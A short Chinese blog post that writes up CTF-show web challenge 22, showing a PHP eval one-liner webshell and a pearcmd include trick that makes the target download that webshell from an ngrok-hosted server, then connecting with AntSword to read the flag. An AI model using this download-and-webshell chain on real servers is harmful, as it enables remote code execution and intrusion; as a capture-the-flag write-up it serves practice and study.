CTF-show web第二十二题

CTF-show web第二十二题

这里过滤了:,/,\反斜杠,为什么是三个\\\因为,php中反斜杠是\\,所以再转义就为\\\

然后将我们输入test后的内容变为:include(test.php)就看里面有没有test.php

我们试了一下36d发现有但是我们拿不到结果,所以我们用pearcmd()这个是接收参数,

解法就是在本地写一句话木马然后上传到服务器,再访问这个一句话木马就行

木马:<?@eval($_POST[123])?>

过程就是:1,先使用python -m http.server 80 临时打开http端口

2.然后使用ngrok http 80 获取公网ip地址

forwarding那一栏就是

3.使用/?c=pearcmd&+download+公网的本地文件地址

/?c=pearcmd&+download+https://sandal-recopy-pull.ngrok-free.dev/Desktop/1.php

显示这个代表上传成功,接下来就可以得到flag了

1.使用中国蚁剑

打开36d.php就得到了flag。

posted @ 2026-10-27 12:39  均木  阅读(9)  评论(0)    收藏  举报